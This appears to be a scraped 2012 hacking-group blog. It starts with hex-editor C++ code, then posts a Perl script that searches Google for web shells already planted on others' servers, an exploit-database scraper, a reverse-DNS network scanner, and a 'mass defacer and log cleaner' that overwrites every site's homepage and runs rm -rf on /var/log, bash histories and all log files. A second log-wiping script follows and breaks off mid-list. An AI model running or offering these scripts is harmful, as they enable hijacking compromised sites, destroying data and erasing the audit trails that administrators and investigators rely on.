    void HexEditor::grab_file_info() {
        SHFILEINFOA sfi = {0};
        SHGetFileInfo(completePath,-1,&sfi,sizeof(sfi),SHGFI_DISPLAYNAME);
        sprintf(fname,"%s",sfi.szDisplayName);
        FILE *fp = fopen(completePath,"rb");
        fseek(fp,0,SEEK_END);
        fsize = ftell(fp);
        fseek(fp,0,SEEK_SET);
        fileByte = (char*)malloc(sizeof(char)*fsize);
        fread(fileByte,1,fsize,fp);
        fclose(fp);
        gen_edit();
    }
     
    void HexEditor::gen_edit() {
        edit = (Editable*)malloc(sizeof(Editable)*fsize);
        short currX = 0;
        int currY = 3;
        for (lc = 0; lc < fsize; lc++) {
            if (fileByte[lc] < 0x20 && mode == 1) {
                edit[lc].data = ' ';
            } else {
                edit[lc].data = fileByte[lc];
            }
            edit[lc].x = currX;
            edit[lc].y = currY;
            if (currX != 75) {
                currX += 5;
            } else {
                currY++;
                currX = 0;
            }
        }
    }
     
    void HexEditor::go_edit(Console *g) {
        editMode = true;
        if (mode == 0) {
            g->clear();
            g->write(0,24,"Please enter a valid hexadecimal number-",FOREGROUND_GREEN|BACKGROUND_BLUE);
            draw(g);
            g->render();
            short hex;
            char c[4];
            c[0] = '0';
            c[1] = 'x';
            c[2] = getch();
            if ((c[2] > 0x29 && c[2] < 0x3A) || (c[2] > 0x60 && c[2] < 0x67) || (c[2] > 0x40 && c[2] < 0x47)) {
                sscanf(c,"%x",&hex);
                edit[selected].data = (char)hex;
                g->clear();
                g->write(0,24,"Please enter a valid hexadecimal number-",FOREGROUND_GREEN|BACKGROUND_BLUE);
                draw(g);
                g->render();
                c[3] = getch();
                if ((c[3] > 0x29 && c[3] < 0x3A) || (c[3] > 0x60 && c[3] < 0x67) || (c[2] > 0x40 && c[2] < 0x47)) {
                    sscanf(c,"%x",&hex);
                    edit[selected].data = (char)hex;
                    fileByte[selected] = (char)hex;
                    editMode = false;
                    return;
                } else {
                    editMode = false;
                    return;
                }
            } else {
                editMode = false;
                return;
            }
        }
        if (mode == 1) {
            g->clear();
            g->write(0,24,"Please enter a new character-",FOREGROUND_GREEN|BACKGROUND_BLUE);
            draw(g);
            g->render();
            char c = getch();
            if (c > 0x19 && c < 0x7F) {
                edit[selected].data = c;
                fileByte[selected] = c;
                editMode = false;
                return;
            } else {
                editMode = false;
                return;
            }
        }
    }
     
    void HexEditor::save() {
        OPENFILENAME ofn;
        char sfilePath[255];
        ZeroMemory(&ofn,sizeof(ofn));
        ofn.lStructSize = sizeof(OPENFILENAME);
        ofn.lpstrFilter = "All Files (*.*)\0*.*\0";
        ofn.lpstrFile = sfilePath;
        ofn.nMaxFile = 255;
        ofn.Flags = OFN_EXPLORER | OFN_PATHMUSTEXIST;
        ofn.lpstrInitialDir = completePath;
        ofn.lpstrDefExt = "";
        if (GetSaveFileName(&ofn)) {
            FILE *fp = fopen(sfilePath,"wb");
            fwrite(fileByte,fsize,1,fp);
            fclose(fp);
        }
    }
     
    void HexEditor::findbytes(Console *g) {
        char texBuf[255],text[64],bytes[24];
        memset(text,'\0',64);
        short currLen = 0;
        sprintf(texBuf,"Please enter bytes to find(FORMAT=0x??,0x??)->");
        g->clear();
        g->write(0,23,"Press escape to exit find",FOREGROUND_GREEN|BACKGROUND_BLUE);
        g->write(0,24,texBuf,FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE|FOREGROUND_INTENSITY|BACKGROUND_BLUE);
        draw(g);
        g->render();
        bool end = false;
        char in;
        while (!end) {
            in = getch();
            if (in == VK_ESCAPE) {
                end = true;
            } else {
                if (in == VK_BACK) {
                    if (currLen != 0) {
                        text[currLen-1] = '\0';
                        currLen--;
                    }
                } else {
                    if (in != VK_RETURN) {
                        text[currLen] = in;
                        currLen++;
                    }
                }
                sprintf(texBuf,"Please enter bytes to find(FORMAT=0x??,0x??)->%s",text);
                if (currLen%5 == 0) {
                    converttobytes(bytes,text);
                    findandselect(bytes);
                }
                g->clear();
                g->write(0,23,"Press escape to exit find",FOREGROUND_GREEN|BACKGROUND_BLUE);
                g->write(0,24,texBuf,FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE|FOREGROUND_INTENSITY|BACKGROUND_BLUE);
                draw(g);
                g->render();
            }
        }
    }
     
    void HexEditor::converttobytes(char *bytebuf, const char* text) {
        short currByte = 0,currBB = 0;
        char currBytebuf[4];
        int sLen = strlen(text);
        for (int i = 0; i < sLen; i++) {
            if (text[i] != ',') {
                currBytebuf[currByte] = text[i];
            } else {
                currByte = 0;
                int in;
                sscanf(text,"%x",&in);
                bytebuf[currBB] = (char)in;
                currBB++;
            }
        }
    }
     
    void HexEditor::findtext(Console *g) {
        char texBuf[255],text[64];
        memset(text,'\0',64);
        short currLen = 0;
        sprintf(texBuf,"Please enter text to find->");
        g->clear();
        g->write(0,23,"Press escape to exit find",FOREGROUND_GREEN|BACKGROUND_BLUE);
        g->write(0,24,texBuf,FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE|FOREGROUND_INTENSITY|BACKGROUND_BLUE);
        draw(g);
        g->render();
        bool end = false;
        char in;
        while (!end) {
            in = getch();
            if (in == VK_ESCAPE) {
                end = true;
            } else {
                if (in == VK_BACK) {
                    if (currLen != 0) {
                        text[currLen-1] = '\0';
                        currLen--;
                    }
                } else {
                    if (in != VK_RETURN) {
                        text[currLen] = in;
                        currLen++;
                    }
                }
                sprintf(texBuf,"Please enter text to find->%s",text);
                findandselect(text);
                g->clear();
                g->write(0,23,"Press escape to exit find",FOREGROUND_GREEN|BACKGROUND_BLUE);
                g->write(0,24,texBuf,FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE|FOREGROUND_INTENSITY|BACKGROUND_BLUE);
                draw(g);
                g->render();
            }
        }
    }
     
    void HexEditor::find(Console* g) {
        switch (mode) {
            case 0:
                findbytes(g);
                break;
            case 1:
                findtext(g);
                break;
        }
    }
     
    void HexEditor::findandselect(const char *find) {
        char fBuf[64];
        memset(fBuf,'\0',64);
        int flen = strlen(find);
        for (lc = selected; lc < fsize; lc++) {
            for (int i = 0; i < flen; i++) {
                fBuf[i] = fileByte[lc+i];
            }
            if (!strcmp(fBuf,find)) {
                selected = lc;
                if ((lc-288)/16 < 0) {
                    sTimes = 0;
                } else {
                    sTimes = (lc-288)/16;
                }
                return;
            }
        }
    }

PHP SHELL FINDER FOR NEWBIES FROM TEAM OPENFIRE

2012-09-25T03:29:00.003+05:30

PHP SHELL FINDER FOR NEWBIES FROM TEAM OPENFIRE

BY NU11_()_V0!D

It's Automated PHP shell finder by crawling Google.com.
Can save a huge amount of time for newbies and also relief for Pors or 1337s [Do Not Disturb].

Its coded is Perl and Use Linux .. [My Recommendation for this]
The found shell will be listed on a auto generated HTML file.

Enjoy.. !!!

@nu11_()_v0!d

CODE:


#!/usr/bin/perl
 use strict;
use warnings;
use LWP::UserAgent;
 usage() unless $ARGV[2];
 my @searchTerm;my @checkTerm;

if(lc($ARGV[0]) eq "r57") {
        push(@searchTerm, "inurl:r57.php");
        push(@searchTerm, "\"[ phpinfo ]  [ php.ini ]  [ cpu ]  [ mem ]  [ users ]  [ tmp ]  [ delete ]\"");
        push(@searchTerm, "intitle:r57shell");
        push(@checkTerm, "r57");
        push(@checkTerm, "safe_mode");
} elsif(lc($ARGV[0]) eq "c99") {
        push(@searchTerm, "inurl:c99.php");
        push(@searchTerm, "\"Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout\"");
        push(@searchTerm, "intitle:\" - phpshell\"");
        push(@searchTerm, "intitle:\" - c99shell\"");
        push(@checkTerm, "c99");
        push(@checkTerm, "Safe-mode");
} elsif(lc($ARGV[0]) eq "mys") {
        push(@searchTerm, "\"Auto error traping enabled\"");
        push(@searchTerm, "intitle:\"MyShell 1.1.0 build 20010923\"");
        push(@checkTerm, "MyShell");
        push(@checkTerm, "Echo commands");
} elsif(lc($ARGV[0]) eq "phs") {
        push(@searchTerm, "intitle:\"PHP Shell 1.5\"");
        push(@searchTerm, "intitle:\"PHP Shell 1.6\"");
        push(@searchTerm, "intitle:\"PHP Shell 1.7\"");
        push(@searchTerm, "\"Enable stderr-trapping?\"");
        push(@checkTerm, "PHP Shell");
        push(@checkTerm, "Choose new working");
} elsif(lc($ARGV[0]) eq "phm") {
        push(@searchTerm, "\"PHPShell by Macker\"");
        push(@searchTerm, "\"[ Main Menu ]      [ PHPKonsole ]      [ Haxplorer ]\"");
        push(@checkTerm, "Haxplorer");
        push(@checkTerm, "PHPKonsole");
} elsif(lc($ARGV[0]) eq "rem") {
        push(@searchTerm, "intitle:\"phpRemoteView: \"");
        push(@searchTerm, "\"REMVIEW TOOLS\"");
        push(@checkTerm, "phpRemoteView");
        push(@checkTerm, "perms");
}

if(!@searchTerm) {
        print "Error: [shell to find] is a unknown shell\n" and die;
}
 my $outputOn;

if(lc($ARGV[1]) eq "on") {
        $outputOn = 1;
} elsif(lc($ARGV[1]) eq "off") {
        $outputOn = 0;
} else {
        print "Error: [screen output] must be \"on\" or \"off\"\n" and die;
}
 my $outputFile;

if(index(lc($ARGV[2]), ".htm") > 0) {
        $outputFile = $ARGV[2];
} else {
        print "Error: [output HTML file] must be *.htm or *.html\n" and die;
}
 open(FILEHANDLE, ">$outputFile");
print FILEHANDLE "PHP Shell's\n";close FILEHANDLE;
 my $userAgent = LWP::UserAgent->new;$userAgent->agent("User-Agent=Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20061201 Firefox/2.0.0.5");
 my @resultLinks;

foreach(@searchTerm) {
        print "[*] Query for \"$_\"\n" if($outputOn == 1);

        my $isLastPage = 0;

        for(my $gPage = 0; ; $gPage++) {
                if($isLastPage == 1) { last; }
        
                my $gRequest =  HTTP::Request->new(GET => "http://www.google.com/search?q=$_&start=$gPage"."0");
                my $gResource = $userAgent->request($gRequest);
        
                if($gResource->is_success) {
                        my @gContent = split("

"


, $gResource->content);
                        if(@gContent < 10) { $isLastPage = 1; };
                
                        for(my $gPiece = 1; $gPiece < @gContent; $gPiece++) {
                                my $shellLink = substr($gContent[$gPiece], index($gContent[$gPiece], "href=\"") + 6);
                                $shellLink = substr($shellLink, 0, index($shellLink, "\""));
                        
                                print "[*] Check status of site \"$shellLink\"\n" if($outputOn == 1);
                        
                                my $sRequest = HTTP::Request->new(GET => $shellLink);
                                my $sResource = $userAgent->request($sRequest);
                        
                                if($sResource->is_success) {
                                        if(index($sResource->content, $checkTerm[0]) != -1 && index($sResource->content, $checkTerm[1]) != -1) {
                                                open(FILEHANDLE, ">>$outputFile");
                                                print FILEHANDLE "Link: $shellLink\">$shellLink
\n";
                                                print FILEHANDLE "Search Term: $_

\n";
                                                close FILEHANDLE;

                                                print "[+] Found shell: $shellLink\n" if($outputOn == 1);
                                        } else {
                                                print "[-] No shell\n" if($outputOn == 1);
                                        }
                                } else {
                                        print "[-] Offline\n" if($outputOn == 1);
                                }
                        }

                        sleep 20; #wait 20 seconds so google dont think we are a bot
                } else {
                        print "Unable to query google\n" and die;
                }
        }
}
open(FILEHANDLE, ">>$outputFile");
print FILEHANDLE "
Find PHP Shells via Google - by nu11_()_v0!d Team OpenFire ";close FILEHANDLE;
sub usage {
        print qq(Find PHP Shells via Google - by nu11_()_v0!d (http://www.openfire-security.net)
   Usage:  perl $0 [shell to find] [screen output] [output HTML file]
                  [shell to find] can be:
                        r57 - find r57shell
                        c99 - find c99shell
                        mys - find MyShell
                        phs - find PHP Shell
                        phm - find PHPShell (Macker)
                        rem - find phpRemoteView
                  [screen output] can be:
                        on  - every step the script doas get printed on the screen
                        off - no output, the script just writes to the output file
                  [output HTML file] must be:
                        *.htm or *.html

Example: perl $0 c99 on c99shells.htm
              perl $0 mys off manyshells.htm
)      and exit;
}

VERY SIMPLE 1337day's EXPLOIT DATABASE DOWNLOAD

2012-09-25T03:23:00.001+05:30

VERY SIMPLE 1337day's EXPLOIT DATABASE DOWNLOAD

Extrem Simple 5 Minute Code. Reads out the whole Database from 1337day and saves Exploits as .html File in a Folder of the Startup Path called \"1337day\". Code is created to reproduce and archive Exploits.

Future Possibilities : Need To create a own Indexable and fast Searchable Database. So we will also Profit from it, I'll try to talk With the Cores, staffs and programmers and implement that Database in our own Exploit Database.

Coding Language : VB.NET
Code:
Public Class Form1
 
    Private Sub Button1_Click(sender As System.Object, e As System.EventArgs) Handles Button1.Click
 
        Dim Exploit As Integer = 1
 
        Do Until WebBrowser1.DocumentTitle.StartsWith("Error 404")
            WebBrowser1.Navigate("http://1337day.com/exploits/" + Exploit.ToString)
            If Not System.IO.Directory.Exists(My.Application.Info.DirectoryPath + "/1337day/") Then
                System.IO.Directory.CreateDirectory(My.Application.Info.DirectoryPath + "/1337day/")
            End If
 
            My.Computer.Network.DownloadFile("http://1337day.com/exploits/" + Exploit.ToString, String.Format("{0}/1337day/{1}.html", My.Application.Info.DirectoryPath, Exploit))
 
            Exploit += 1
        Loop
 
    End Sub
End Class
 

Base 64 Encoder / Decoder Coded By nu11_()_v0!d

2012-09-25T03:20:00.000+05:30

Base 64 Encoder / Decoder Coder By nu11_()_v0!d

--- by nu11_()_v0!d

Code:

#!usr/bin/perl
 
use MIME::Base64;
 
print "Base 64 Encoder / Decoder Coder By nu11_()_v0!d\n";
print "Would you like to Encode Or Decode?\n";
print "Enter 1 To Encode - Enter 2 to Decode\n";
 
$ARGV[0] = ;
 
if($ARGV[0] == 1)
{
print "\nPlease enter text to encode\n";
$ARGV[1] = ;
$encoded = encode_base64($ARGV[1]);
print "Encoding Please wait...\n";
sleep 2;
print $encoded;
print "Thank you for using nu11_()_v0!d's encoder";
exit
}
 
 
if($ARGV[0] == 2)
{
print "\nPlease enter text to decode\n";
$ARGV[2] = ;
$decoded = decode_base64($ARGV[2]);
print "Decoding Please wait...\n";
sleep 2;
print $decoded;
print "Thank you for using nu11_()_v0!d's Decoder";
exit
}

DOMAIN SCANNER IN C

2012-09-25T03:07:00.003+05:30

 DOMAIN SCANNER IN C

 
/*
* Totally eleetin class B, C, and single IP address scanner/lookup
* program. Hey! It even shows aliases! Make sure you give the
* correct address format with the correct switch(es). The switches
* are as follows:
* b - scan this class B network (xxx.xxx)
* c - scan this class C network (xxx.xxx.xxx)
* s - give the the hostname of this specific address (xxx.xxx.xxx.xxx)
* a - show hostname aliases also
* x - address provided is in hexadecimal
*
* Oh, a small note: if yer actually gonna use a hex address, make
* sure to put the 'x' switch before anything else. :)
* "Team OpenFire"
* max-q [L0cK]
*/
 
#include 
#include 
#include 
#include "netdb.h"
 
struct hostent *gethostbyaddr();
void usage();
void bad_addr();
 
main(argc, argv)
int argc;
char *argv[];
{
char addr[4],
**ptr,
*fmt;
int arg, i, j,
a0, a1, a2, a3,
classB, classC, single, hex, alias;
extern char *optarg;
struct hostent *host;
 
classB = classC = single = alias = hex = 0;
i = j = 0;
while((arg = getopt(argc,argv,"xb:c:s:a")) != EOF) {
switch(arg) {
case 'x':
hex++;
break;
case 'b':
classB++;
if(hex)
fmt = "%x.%x";
else
fmt = "%d.%d";
sscanf(optarg, fmt, &a0, &a1);
break;
case 'c':
classC++;
if(hex)
fmt = "%x.%x.%x";
else
fmt = "%d.%d.%d";
sscanf(optarg, fmt, &a0, &a1, &a2);
break;
case 's':
single++;
if(hex)
fmt = "%x.%x.%x.%x";
else
fmt = "%d.%d.%d.%d";
sscanf(optarg, fmt, &a0, &a1, &a2, &a3);
break;
case 'a':
alias++;
break;
default:
usage(argv[0]);
break;
/* not reached */
}
}
 
if(classB == 0 && classC == 0 && single == 0)
usage(argv[0]);
 
addr[0] = (unsigned char)a0;
addr[1] = (unsigned char)a1;
if(a0>255||a0<0 br="br">bad_addr(a0);
if(a1>255||a1<0 br="br">bad_addr(a1);
if(classB) {
printf("Scanning Class B network %d.%d...\n", a0, a1);
while(j<256 br="br">a2=j;
addr[2] = (unsigned char)a2;
jmpC:
printf("Scanning Class C network %d.%d.%d...\n", a0, a1, a2);
while(i<256 br="br">a3=i;
addr[3] = (unsigned char)a3;
jmpS:
if ((host = gethostbyaddr(addr, 4, AF_INET)) != NULL) {
printf("%d.%d.%d.%d => %s\n", a0, a1, a2, a3, host->h_name);
ptr = host->h_aliases;
if(alias)
while (*ptr != NULL) {
printf("%d.%d.%d.%d => %s (alias)\n", a0, a1, a2, a3, *ptr);
ptr++;
}
} else if(single)
printf("Cannot resolve %d.%d.%d.%d\n", a0, a1, a2, a3);
if(single)
exit(0);
i++;
}
if(classC)
exit(0);
i=0;
j++;
}
} else if(classC) {
addr[2] = (unsigned char)a2;
if(a2>255||a2<0 br="br">bad_addr(a2);
goto jmpC;
} else if(single) {
addr[2] = (unsigned char)a2;
addr[3] = (unsigned char)a3;
if(a2>255||a2<0 br="br">bad_addr(a2);
if(a3>255||a3<0 br="br">bad_addr(a3);
goto jmpS;
}
exit(0);
}
 
void
usage(name)
int *name;
{
fprintf(stderr, "usage: %s [-x] [-a] [-b||-c||-s] xxx.xxx[.xxx[.xxx]]\n",
name);
exit(1);
}
void
bad_addr(addr)
int *addr;
{
printf("Value %d is not valid.\n", addr);
exit(0);
}

PRIVATE LOG CLEANER AND MASS DEFACER

2012-09-25T03:01:00.002+05:30

PRIVATE LOG CLEANER AND MASS DEFACER

CORYRIGHT PROTECTED !!

Code:

 
#Priv8 Log cleaner and mass defacer
#########################################################################################################
#!/usr/bin/perl
use strict;
my $index = $ARGV[0];
if ($ARGV[0])
{
if( -e $index )
{
  system "echo -e \"\033[01;34mStarted MSRml V0.1 by nu11_()_v0!d Ok !!\033[01;37m\"\n";
  system "echo -e \"\\033[01;37mDefacing all homepages ...\"\n";
  system "find / -name \"index*\" -exec cp $index {} \\;";
  system "find / -name \"main*\" -exec cp $index {} \\;";
  system "find / -name \"home*\" -exec cp $index {} \\;";
  system "find / -name \"default*\" -exec cp $index {} \\;";
  system "echo -e \"\\033[01;37m[+] done ! all sites in this box should be defaced !\"\n";
  system "echo -e \"\\033[01;37m----------------------------------------------------------\"\n";
  system "echo -e \"\\033[01;37mCleaning up logs ...\"\n";
  system "echo -e \"\033[01;34m---------erasing default log files (too fast =))---------\033[01;37m\"\n";
    if( -e "/var/log/lastlog" )
      {
      system 'rm -rf /var/log/lastlog';
      system "echo -e \"\\033[01;37m[*]/var/log/lastlog -erased Ok\"\n";
      }
    else
      {
      system "echo -e \"\\033[01;31m[*]/var/log/lastlog - No such file or directory\\033[01;37m\"\n";
      }
    if( -e "/var/log/wtmp" )
      {
      system 'rm -rf /var/log/wtmp';
      system "echo -e \"\\033[01;37m[*]/var/log/wtmp -erased Ok\"\n";
      }
    else
      {
      system "echo -e \"\\033[01;31m[*]/var/log/wtmp - No such file or directory\\033[01;37m\"\n";
      }
    if( -e "/etc/wtmp" )
      {
      system 'rm -rf /etc/wtmp';
      system "echo -e \"\\033[01;37m[*]/etc/wtmp -erased Ok\"\n";
      }
    else
      {
      system "echo -e \"\\033[01;31m[*]/etc/wtmp - No such file or directory\\033[01;37m\"\n";
      }
    if( -e "/var/run/utmp" )
      {
      system 'rm -rf /var/run/utmp';
      system "echo -e \"\\033[01;37m[*]/var/run/utmp -erased Ok\"\n";
      }
    else
      {
      system "echo -e \"\\033[01;31m[*]/var/run/utmp - No such file or directory\\033[01;37m\"\n";
      }
    if( -e "/etc/utmp" )
      {
      system 'rm -rf /etc/utmp';
      system "echo -e \"\\033[01;37m[*]/etc/utmp -erased Ok\"\n";
      }
    else
      {
      system "echo -e \"\\033[01;31m[*]/etc/utmp - No such file or directory\\033[01;37m\"\n";
      }
    if( -e "/var/log" )
      {
      system 'rm -rf /var/log';
      system "echo -e \"\\033[01;37m[*]/var/log -erased Ok\"\n";
      }
    else
      {
      system "echo -e \"\\033[01;31m[*]/var/log - No such file or directory\\033[01;37m\"\n";
      }
      if( -e "/var/logs" )
      {
      system 'rm -rf /var/logs';
      system "echo -e \"\\033[01;37m[*]/var/logs -erased Ok\"\n";
      }
    else
      {
      system "echo -e \"\\033[01;31m[*]/var/logs - No such file or directory\\033[01;37m\"\n";
      }
    if( -e "/var/adm" )
      {
      system 'rm -rf /var/adm';
      system "echo -e \"\\033[01;37m[*]/var/adm -erased Ok\"\n";
      }
    else
      {
      system "echo -e \"\\033[01;31m[*]/var/adm - No such file or directory\\033[01;37m\"\n";
      }
    if( -e "/var/apache/log" )
      {
      system 'rm -rf /var/apache/log';
      system "echo -e \"\\033[01;37m[*]/var/apache/log -erased Ok\"\n";
      }
  else
      {
      system "echo -e \"\\033[01;31m[*]/var/apache/log - No such file or directory\\033[01;37m\"\n";
      }
    if( -e "/var/apache/logs" )
      {
      system 'rm -rf /var/apache/logs';
      system "echo -e \"\\033[01;37m[*]/var/apache/logs -erased Ok\"\n";
      }
    else
      {
      system "echo -e \"\\033[01;31m[*]/var/apache/logs - No such file or directory\\033[01;37m\"\n";
      }
    if( -e "/usr/local/apache/log" )
      {
      system 'rm -rf /usr/local/apache/log';
      system "echo -e \"\\033[01;37m[*]/usr/local/apache/log -erased Ok\"\n";
      }
    else
      {
      system "echo -e \"\\033[01;31m[*]/usr/local/apache/log - No such file or directory\\033[01;37m\"\n";
      }
    if( -e "/usr/local/apache/logs" )
      {
      system 'rm -rf /usr/local/apache/logs';
      system "echo -e \"\\033[01;37m[*]/usr/local/apache/logs -erased Ok\"\n";
      }
  else
      {
      system "echo -e \"\\033[01;31m[*]/usr/local/apache/logs - No such file or directory\\033[01;37m\"\n";
      }
    if( -e "/root/.bash_history" )
      {
      system 'rm -rf /root/.bash_history';
      system "echo -e \"\\033[01;37m[*]/root/.bash_history -erased Ok\"\n";
      }
    else
      {
      system "echo -e \"\\033[01;31m[*]/root/.bash_history - No such file or directory\\033[01;37m\"\n";
      }
    if( -e "/root/.ksh_history" )
      {
      system 'rm -rf /root/.ksh_history';
      system "echo -e \"\\033[01;37m[*]/root/.ksh_history -erased Ok\"\n";
      }
    else
      {
      system "echo -e \"\\033[01;31m[*]/root/.ksh_history - No such file or directory\\033[01;37m\"\n";
      }
  system "echo -e \"\\033[01;37m[+] -----done all default log and bash_history files erased !!\"\n";
  system "echo -e \"\033[01;34m---------Now Erasing the rest of the machine log files (can be long :S)---------\033[01;37m\"\n";
  system 'find / -name *.bash_history -exec rm -rf {} \;';
  system "echo -e \"\\033[01;37m[*] all *.bash_history files -erased Ok!\"\n";
  system 'find / -name *.bash_logout -exec rm -rf {} \;';
  system "echo -e \"\\033[01;37m[*] all *.bash_logout files -erased Ok!\"\n";
  system 'find / -name "log*" -exec rm -rf {} \;';
  system "echo -e \"\\033[01;37m[*] all log* files -erased Ok!\"\n";
  system 'find / -name *.log -exec rm -rf {} \;';
  system "echo -e \"\\033[01;37m[*] all *.log files -erased Ok!\"\n";
  system "echo -e \"\033[01;34m-------[+] !done all log files erased![+]-------\033[01;37m\"\n";
  system "echo -e \"\033[01;34m---------------------------------------------------\033[01;37m\"\n";
  system "echo -e \"\033[01;34m-----------------MSRml V 0.1----------------------\033[01;37m\"\n";
}
else
{
system "echo -e \"\\033[01;31m[-] Failed ! the path to u're index could not be found !\\033[01;37m\"\n";
exit;
}
}
else
{
system "echo -e \"\\033[01;37m!!Morocco.Security.Rulz mass defacer and log eraser !!\"\n";
system "echo -e \"\\033[01;37m!!!!!!!!!!!!!!!!!!coded by nu11_()_v0!d l!!!!!!!!!!!!!!!!!!!!!!!!\"\n";
system "echo -e \"\\033[01;31m!!!!!!!!PRIV8!!!!!!!!PRIV8!!!!!!!!PRIV8!!!!!!!!PRIV8!!!!!!!!\\033[01;37m\"\n";
system "echo -e \"\\033[01;37musage : perl $0 \"\n";
system "echo -e \"\\033[01;37mexample : perl $0 /tmp/index.html\"\n";
exit;
}

OpenFire Virtual Log Cleaner @version 0.1

2012-09-25T02:54:00.001+05:30

OpenFire Virtual Log Cleaner @version 0.1

PROGRAMMING EXPO --- 1.
COPYRIGH PROTECTED !!

Code:

#!usr/bin/perl
   { 
   $resume = 1; 
   
     print "##################################n";
     print "#          OpenFire Virtual Log Cleaner v 0.1             #n";   
     while($resume == 1) #Start Loop 
   { 
     print "# Usage log.pl               #n";
     print "# Operating System Choice        #n";
     print "#--------------------------------#n";
     print "# linux                          #n";
     print "# sunos                          #n";
     print "# aix                            #n";
     print "# irix                           #n";
     print "# openbsd                        #n";
     print "# solaris                        #n";
     print "# suse                           #n";
     print "# lampp                          #n";
     print "# debian                         #n";
     print "# freebsd                        #n";
     print "# misc Possible Log Locations    #n";
     print "##################################n";

     chomp($os = ); 

                if($os eq "misc"){ #If misc typed, do the following and start brackets 
             print "[+]misc Selected...n";   
             sleep 1; 
             print "[+]Logs Located...n"; 
             sleep 1; 
             unlink @misc;   
             sleep 1; 
             print "[+]Logs Successfully Deleted...n"; 
              }

                if($os eq "openbsd"){ #If openbsd typed, do the following and start brackets 
             print "[+]openbsd Selected...n"; 
             sleep 1; 
             print "[+]Logs Located...n";   
             sleep 1; 
             unlink @openbsd;   
             sleep 1; 
             print "[+]Logs Successfully Deleted...n";   
              }

                if($os eq "freebsd"){ #If freebsd typed, do the following and start brackets 
             print "[+]freebsd Selected...n";   
             sleep 1; 
             print "[+]Logs Located...n";   
             sleep 1; 
             unlink @freebsd;   
             sleep 1; 
             print "[+]Logs Successfully Deleted...n"; 
              }

                if($os eq "debian"){ #If Debian typed, do the following and start brackets 
             print "[+]debian Selected...n";
             sleep 1; 
             print "[+]Logs Located...n";
             sleep 1; 
             unlink @debian;   
             sleep 1; 
             print "[+]Logs Successfully Deleted...n";
              }

                if($os eq "suse"){ #If suse typed, do the following and start brackets 
             print "[+]suse Selected...n"; 
             sleep 1; 
             print "[+]Logs Located...n";
             sleep 1; 
             unlink @suse;   
             sleep 1; 
             print "[+]Logs Successfully Deleted...n";
              }

                if($os eq "solaris"){ #If solaris typed, do the following and start brackets 
             print "[+]solaris Selected...n";
             sleep 1; 
             print "[+]Logs Located...n";
             sleep 1; 
             unlink @solaris;
             sleep 1; 
             print "[+]Logs Successfully Deleted...n"; 
              }

                if($os eq "lampp"){ #If lampp typed, do the following and start brackets 
             print "[+]Lampp Selected...n"; 
             sleep 1; 
             print "[+]Logs Located...n";
             sleep 1; 
             unlink @lampp; 
             sleep 1; 
             print "[+]Logs Successfully Deleted...n";
              }

                if($os eq "redhat"){ #If redhat typed, do the following and start brackets 
             print "[+]Red Hat Linux/Mac OS X Selected...n";
             sleep 1; 
             print "[+]Logs Located...n";
             sleep 1; 
             unlink @redhat;
             sleep 1; 
             print "[+]Logs Successfully Deleted...n";
              }
       
                if($os eq "linux"){ #If linux typed, do the following and start brackets 
             print "[+]Linux Selected...n";   
             sleep 1; 
             print "[+]Logs Located...n"; 
             sleep 1; 
             unlink @linux; 
             sleep 1; 
             print "[+]Logs Successfully Deleted...n";
              } 
             
              if($os eq "sunos"){ #If sunos typed, do the following and start brackets 
              print "[+]SunOS Selected...n";
              sleep 1; 
              print "[+]Logs Located...n"; 
              sleep 1; 
              unlink @sunos; 
              print "[+]Logs Successfully Deleted...n"; 
              }   
               
              if($os eq "aix"){ #If aix typed, do the following and start brackets 
                 print "[+]Aix Selected...n";
                 sleep 1; 
              print "[+]Logs Located...n";
              sleep 1; 
              unlink @aix;
              print "[+]Logs Successfully Deleted...n";
              }
             
              if($os eq "irix"){ #If irix typed, do the following and start bracket 
              print "[+]Irix Selected...n";
              sleep 1; 
              print "[+]Logs Located...n"; 
              sleep 1; 
              unlink @irix;   
              print "[+]Logs Successfully Deleted...n"; 
              }

                                #Misc Log Locations   
      {                       
      @misc = ("/etc/httpd/logs/access.log", "/etc/httpd/logs/error.log","/etc/httpd/logs/access_log",
            "/etc/httpd/logs/error_log","/usr/local/apache/logs/access_log","/usr/local/apache/logs/error_log",
            "/usr/local/apache/logs/access.log","/usr/local/apache/logs/error.log","/var/log/apache/access_log",
            "/var/log/apache/error_log","/var/log/apache/access.log","/var/log/apache/error.log","/var/log/access_log",
            "/var/log/error_log","/var/www/logs/error.log","/var/www/logs/access.log","/var/www/logs/error_log",
            "/var/www/logs/access_log")
         }

                                 #Logs of OpenBSD Systems 
   
      { 
       @openbsd = ("/var/www/log/access_log", "/var/www/log/error_log") 
           }

                                 #Logs of FreeBSD Systems 
   
      { 
       @freebsd = ("/usr/local/etc/httpd/logs/access_log", "/usr/local/etc/httpd/logs/error_log")
           }

                                 #Logs of Debian Systems 
   
      { 
       @debian = ("/var/log/apache/access.log", "/var/log/apache/error.log",
       "/var/log/apache-ssl/error.log", "/var/log/apache-ssl/access.log") 
           }   

                                 #Logs of SuSE Linux Systems 
   
      { 
       @suse = ("/var/log/httpd/access_log", "/var/log/httpd/error_log")
           }

                                 #Logs of Solaris Systems 
   
      {   
       @solaris = ("/var/apache/logs/access_log", "/var/apache/logs/error_log")
           }

                                 #Logs of Lampp Systems 
   
      { 
       @lampp = ("/opt/lampp/logs/error_log", "/opt/lampp/logs/access_log")
           }

                                 #Logs of Red Hat, Mac OS X Systems 
   
      { 
       @redhat = ("/var/log/httpd/access_log", "/var/log/httpd/error_log")
           }
               
                                 #Logs of Irix Systems 
   
      { 
       @irix = ("/var/adm/SYSLOG", "/var/adm/sulog", "/var/adm/utmp", "/var/adm/utmpx", 
              "/var/adm/wtmp", "/var/adm/wtmpx", "/var/adm/lastlog/", 
            "/usr/spool/lp/log", "/var/adm/lp/lp-errs", "/usr/lib/cron/log", 
            "/var/adm/loginlog", "/var/adm/pacct", "/var/adm/dtmp", 
            "/var/adm/acct/sum/loginlog", "var/adm/X0msgs", "/var/adm/crash/vmcore", 
            "/var/adm/crash/unix") 
           }

                                #Log sof Aix Systems 
      {   
      @aix = ("/var/adm/pacct", "/var/adm/wtmp", "/var/adm/dtmp", "/var/adm/qacct",   
